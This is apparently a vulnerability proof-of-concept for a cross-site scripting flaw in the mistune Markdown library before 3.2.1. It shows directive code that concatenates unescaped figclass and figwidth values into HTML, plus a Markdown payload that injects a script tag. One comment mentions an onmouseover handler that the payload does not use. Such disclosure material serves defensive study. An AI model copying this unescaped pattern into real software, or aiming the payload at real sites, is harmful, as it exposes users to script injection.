Vulnerable code sample

import mistune
from mistune.directives import Directive, Plugin

# This example re-creates the vulnerable logic found in mistune < 3.2.1.
# It uses a custom directive plugin to process a Markdown block.

class VulnerableImageDirective(Directive):
    def __call__(self, md):
        self.register_directive(md, 'figure')

    def parse(self, block, m, state):
        options = dict(self.parse_options(m))
        src = options.get("src", "")
        alt = options.get("alt", "")
        figclass = options.get("figclass", "")
        figwidth = options.get("figwidth", "")
        
        # The vulnerability lies in the render method, which is called later.
        # Here we just pass the raw, unescaped options.
        return {
            'type': 'figure',
            'attrs': {
                'src': src,
                'alt': alt,
                'figclass': figclass,
                'figwidth': figwidth,
            }
        }

    # This method mimics the vulnerable code in src/mistune/directives/image.py
    def render_html_figure(self, attrs):
        src = attrs["src"]
        alt = attrs["alt"]
        figclass = attrs["figclass"]
        figwidth = attrs["figwidth"]

        html = f'<img src="{src}" alt="{alt}">'

        # VULNERABLE CONCATENATION FOR FIGCLASS
        klass = ''
        if figclass:
            klass = ' class="' + figclass + '"'

        # VULNERABLE CONCATENATION FOR FIGWIDTH
        style = ''
        if figwidth:
            style = ' style="width: ' + figwidth + '"'

        return f'<figure{klass}{style}>{html}</figure>'

# Malicious Markdown payload
# The figclass attribute is crafted to close the class="..." attribute
# and inject an onmouseover event handler.
malicious_markdown = """
.. figure::
   :src: image.png
   :alt: picture
   :figclass: "><script>alert('XSS')</script>
"""

# Setup mistune with the vulnerable plugin.
# Note that escape=True has no effect on this vulnerability.
markdown_parser = mistune.create_markdown(
    escape=True,
    plugins=[VulnerableImageDirective()]
)

# Render the malicious markdown
injected_html = markdown_parser(malicious_markdown)

# The output demonstrates the successful XSS injection.
print(injected_html)